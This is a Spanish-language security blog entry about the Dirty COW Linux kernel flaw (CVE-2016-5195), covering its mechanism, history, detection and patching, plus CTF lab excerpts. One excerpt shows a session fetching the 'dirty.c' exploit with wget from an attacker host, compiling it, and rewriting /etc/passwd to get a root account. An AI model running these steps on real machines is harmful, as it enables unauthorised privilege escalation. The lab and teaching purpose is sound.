cd ~/blog

~/vulns/dirty-cow-cve-2016-5195.md

Dirty COW (CVE-2016-5195)

privescautor: Jordy Pérez Osorio aviso legal
privesckernelLinux

~2 min de lectura


1. Descripción técnica

Dirty COW (CVE-2016-5195) es una vulnerabilidad de Race Condition en el mecanismo Copy-On-Write (COW) del subsistema de memoria del kernel de Linux. El nombre proviene de Dirty Copy-On-Write.

Cuando un proceso mapea un archivo de solo lectura con mmap() (modo privado, MAP_PRIVATE), el kernel usa COW: las escrituras crean una copia privada en lugar de modificar el archivo original. Sin embargo, existe una carrera entre madvise(MADV_DONTNEED) y la escritura sobre el mapeo (vía /proc/self/mem): explotándola repetidamente, un atacante consigue que la escritura impacte la página original del archivo en lugar de la copia privada, escribiendo en archivos de solo lectura sin tener permisos.

Vectores típicos:

  • Sobrescribir /etc/passwd (añadir/modificar una cuenta root).
  • Modificar un binario SUID para inyectar código.

2. Impacto

  • Local Privilege Escalation cuando el archivo afectado controla una identidad o un proceso privilegiado.
  • Modificación de contenido respaldado por un archivo de sólo lectura que el proceso puede mapear. El resultado y la fiabilidad dependen del kernel, el objetivo y el PoC utilizado.
  • Impacto histórico enorme: presente en el kernel durante ~9 años, afectó a prácticamente todas las distribuciones y a Android.

3. Historia y evolución

  • El bug existía desde 2007 (kernel 2.6.22) y fue descubierto/divulgado por Phil Oester en octubre de 2016.
  • Se observó explotación in-the-wild antes del parche, lo que motivó su divulgación urgente.
  • Existen múltiples PoCs (el de firefart que reescribe /etc/passwd, dirtyc0w.c, variantes para binarios SUID). Es un clásico recurrente en CTFs con kernels antiguos.

4. Condiciones necesarias

  1. Un kernel vulnerable: anterior a 4.8.3 / 4.7.9 / 4.4.26 (las versiones parcheadas en octubre de 2016).
  2. Acceso local como usuario sin privilegios con lectura sobre el archivo objetivo.
  3. Capacidad de compilar/ejecutar el exploit.

5. Validación y detección

  • Comprobar la versión del kernel:
uname -r

Kernels antiguos (3.x, 4.x previos a las versiones parcheadas) son candidatos.

  • linux-exploit-suggester y LinPEAS lo marcan automáticamente.

6. Mitigación

  1. Actualizar el kernel a una versión parcheada (≥ 4.8.3 / 4.7.9 / 4.4.26 o las correspondientes de la distribución).
  2. Aplicar las actualizaciones de seguridad del proveedor.

7. Explotación documentada en los writeups

7.1. 076-doubletrouble

Máquina DoubleTrouble de HMV. Con el PoC de firefart, que reescribe /etc/passwd para crear el usuario root firefart:

clapton@doubletrouble:/home$ uname -r
3.2.0-4-amd64

clapton@doubletrouble:/tmp$ wget http://192.168.1.3:8000/dirty.c
clapton@doubletrouble:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
clapton@doubletrouble:/tmp$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 1234
...
clapton@doubletrouble:/tmp$ su firefart
firefart@doubletrouble:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)
# restaurar:
firefart@doubletrouble:/tmp# mv /tmp/passwd.bak /etc/passwd

7.2. 097-driftingblues-06

El kernel 3.2.0 se identifica como candidato y el writeup compila un PoC de Dirty COW. La explotación requiere una TTY antes de que su pueda solicitar de forma interactiva la contraseña elegida para la cuenta privilegiada.

8. Clasificación

  • Tipo: Race Condition → Local Privilege Escalation
  • CVE: CVE-2016-5195
  • CWE:
    • CWE-362 – Concurrent Execution using Shared Resource with Improper Synchronization (Race Condition)

9. Referencias y conexiones

// relacionados